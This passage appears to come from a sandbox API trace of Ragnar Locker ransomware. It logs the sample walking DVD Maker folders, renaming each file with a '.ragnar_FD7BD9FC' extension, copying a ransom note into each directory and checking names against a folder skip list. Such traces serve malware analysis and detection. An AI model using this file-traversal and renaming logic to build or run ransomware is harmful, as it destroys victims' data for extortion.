Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv.ragnar_FD7BD9FC" [0079.116] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.116] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0079.116] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.116] lstrcpyW (in: lpString1=0x1eab60, lpString2="userContent_16x9_imagemask.png" | out: lpString1="userContent_16x9_imagemask.png") returned="userContent_16x9_imagemask.png" [0079.116] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned=".png" [0079.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.117] CloseHandle (hObject=0xffffffff) returned 0 [0079.117] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" [0079.117] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png.ragnar_FD7BD9FC" [0079.117] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.117] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0079.117] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.118] lstrcpyW (in: lpString1=0x1eab60, lpString2="whitemenu.png" | out: lpString1="whitemenu.png") returned="whitemenu.png" [0079.118] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned=".png" [0079.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.118] CloseHandle (hObject=0xffffffff) returned 0 [0079.118] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" [0079.118] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png.ragnar_FD7BD9FC" [0079.118] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.118] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0 [0079.118] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.118] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0079.118] lstrcmpiW (lpString1="Pets", lpString2=".") returned 1 [0079.118] lstrcmpiW (lpString1="Pets", lpString2="..") returned 1 [0079.118] lstrcmpiW (lpString1="Pets", lpString2="Windows") returned -1 [0079.118] lstrcmpiW (lpString1="Pets", lpString2="Windows.old") returned -1 [0079.118] lstrcmpiW (lpString1="Pets", lpString2="Tor browser") returned -1 [0079.118] lstrcmpiW (lpString1="Pets", lpString2="Internet Explorer") returned 1 [0079.118] lstrcmpiW (lpString1="Pets", lpString2="Google") returned 1 [0079.118] lstrcmpiW (lpString1="Pets", lpString2="Opera") returned 1 [0079.118] lstrcmpiW (lpString1="Pets", lpString2="Opera Software") returned 1 [0079.118] lstrcmpiW (lpString1="Pets", lpString2="Mozilla") returned 1 [0079.118] lstrcmpiW (lpString1="Pets", lpString2="Mozilla Firefox") returned 1 [0079.119] lstrcmpiW (lpString1="Pets", lpString2="$Recycle.Bin") returned 1 [0079.119] lstrcmpiW (lpString1="Pets", lpString2="ProgramData") returned -1 [0079.119] lstrcmpiW (lpString1="Pets", lpString2="All Users") returned 1 [0079.119] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.119] lstrcpyW (in: lpString1=0x1eb620, lpString2="Pets" | out: lpString1="Pets") returned="Pets" [0079.119] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\" [0079.119] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\" [0079.119] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\RGNR_FD7BD9FC.txt" [0079.119] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.122] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*" [0079.122] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.122] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.122] lstrcpyW (in: lpString1=0x1ea73e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.122] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81675c40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81675c40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.122] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.123] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81675c40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81675c40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.123] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.123] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.123] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0079.123] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2=".") returned 1 [0079.123] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="..") returned 1 [0079.123] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0079.123] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2=".") returned 1 [0079.123] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="..") returned 1 [0079.123] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0079.123] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2=".") returned 1 [0079.123] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="..") returned 1 [0079.123] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0079.123] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2=".") returned 1 [0079.123] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="..") returned 1 [0079.123] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0079.123] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2=".") returned 1 [0079.123] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="..") returned 1 [0079.123] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0079.123] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2=".") returned 1 [0079.123] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="..") returned 1 [0079.123] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0079.123] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2=".") returned 1 [0079.123] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="..") returned 1 [0079.123] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0079.123] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2=".") returned 1 [0079.123] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="..") returned 1 [0079.123] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0079.123] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2=".") returned 1 [0079.123] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="..") returned 1 [0079.123] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0079.124] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2=".") returned 1 [0079.124] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="..") returned 1 [0079.124] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0079.124] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2=".") returned 1 [0079.124] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="..") returned 1 [0079.124] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0079.124] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2=".") returned 1 [0079.124] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="..") returned 1 [0079.124] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0079.124] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2=".") returned 1 [0079.124] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="..") returned 1 [0079.124] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0079.124] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2=".") returned 1 [0079.124] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="..") returned 1 [0079.124] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0079.124] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2=".") returned 1 [0079.124] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="..") returned 1 [0079.124] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0079.124] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2=".") returned 1 [0079.124] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="..") returned 1 [0079.124] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0079.124] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2=".") returned 1 [0079.124] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="..") returned 1 [0079.124] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0079.124] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2=".") returned 1 [0079.124] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="..") returned 1 [0079.124] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, 